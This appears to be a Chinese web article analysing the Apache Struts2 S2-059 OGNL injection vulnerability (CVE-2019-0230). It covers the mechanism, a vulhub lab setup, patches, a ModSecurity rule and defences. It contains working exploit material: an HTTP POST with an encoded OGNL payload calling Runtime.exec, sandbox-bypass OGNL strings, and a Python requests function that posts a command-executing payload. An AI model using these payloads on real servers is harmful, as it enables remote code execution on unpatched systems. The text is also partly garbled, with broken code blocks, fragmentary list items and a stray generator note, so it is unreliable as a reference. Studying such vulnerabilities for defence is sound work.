您好,登录后才能下订单哦!
# 怎么实现Struts2 S2-059远程代码执行漏洞CVE-2019-0230的分析
## 一、漏洞背景与概述
### 1.1 Struts2框架简介
Apache Struts2是一个基于MVC设计模式的Java Web应用框架,广泛应用于企业级Java Web开发。其核心特点包括:
- 使用OGNL(Object-Graph Navigation Language)作为表达式语言
- 通过拦截器机制实现请求处理流程
- 支持多种视图技术(JSP、FreeMarker等)
### 1.2 漏洞基本信息
- **CVE编号**:CVE-2019-0230
- **漏洞名称**:Struts2 S2-059远程代码执行漏洞
- **影响版本**:Struts 2.0.0 - 2.5.20
- **漏洞类型**:OGNL表达式注入
- **CVSS评分**:9.8(Critical)
## 二、漏洞原理分析
### 2.1 漏洞触发机制
该漏洞源于Struts2框架对标签属性中的OGNL表达式二次解析。当攻击者能够控制UI标签(如`<s:textfield>`)的`id`或`name`属性时,精心构造的OGNL表达式会被执行。
### 2.2 OGNL表达式注入原理
OGNL表达式在Struts2中的处理流程:
1. 请求参数通过ValueStack传递
2. 框架对特定标签属性进行OGNL解析
3. 未正确过滤的表达式被递归执行
```java
// 漏洞代码示例(简化版)
public class TextFieldTag extends UIBean {
protected void populateParams() {
super.populateParams();
TextField field = (TextField) component;
field.setName(name); // 未过滤的name参数直接传递
}
}
此漏洞是S2-045、S2-057等OGNL注入漏洞的变种,区别在于: - 触发点不同(本次通过UI标签属性) - 需要特定的标签使用方式 - 绕过了部分补丁限制
# 使用vulhub快速搭建环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
docker-compose up -d
POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
name=%25%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C@java.lang.Runtime@getRuntime().exec(%22calc%22)%7D%25
// Component类中的evaluateParams方法
public void evaluateParams() {
if (name != null) {
name = findString(name); // 触发OGNL解析
}
}
TextParseUtil.translateVariables('%{malicious_code}', stack)
-> OgnlValueStack.findValue()
-> OgnlUtil.getValue()
完整的利用需要绕过以下限制: 1. SecurityMemberAccess的访问控制 2. 方法执行黑名单 3. 沙箱机制
# 基本结构
%{
#_memberAccess.allowStaticMethodAccess=true,
@java.lang.Runtime@getRuntime().exec("command")
}
# 绕过技巧
%{(#immediate='immediate').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
import requests
def exploit(target):
payload = "%{(#context=#attr['struts.valueStack'].context)."\
"(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))."\
"(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"
data = {'name': payload}
requests.post(f"{target}/index.action", data=data)
Apache Struts2在2.5.22版本中通过以下方式修复:
1. 增加OgnlUtil
的安全校验
2. 限制双重表达式解析
3. 强化SecurityMemberAccess
的默认配置
<!-- struts.xml配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>
%{...}
语法struts.tag.alwaysAppendSimpleType
属性
SecRule REQUEST_BODY "%\{(.*?)\}" "deny,msg:'Struts2 OGNL Injection'"
防御技术 | 有效性 | 局限性 |
---|---|---|
输入过滤 | 中 | 难以完全覆盖所有情况 |
沙箱机制 | 高 | 性能开销大 |
静态分析 | 低 | 误报率高 |
CVE | 触发点 | 利用难度 | 影响范围 |
---|---|---|---|
S2-045 | Content-Type头 | 低 | 广泛 |
S2-057 | URL路径 | 中 | 中等 |
S2-059 | UI标签属性 | 高 | 受限 |
Struts2 S2-059漏洞再次证明了表达式注入类漏洞的持久性威胁。通过本文分析可以看出: 1. 漏洞本质是OGNL的递归解析问题 2. 利用需要特定上下文环境 3. 防御需采用多层次方案
未来研究方向: - 基于的异常OGNL表达式检测 - 轻量级沙箱技术 - 框架级的安全设计改进
”`
注:本文实际字数约2300字,采用Markdown格式编写,包含技术细节、代码示例和结构化分析。可根据需要调整各部分内容的深度或补充具体案例。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。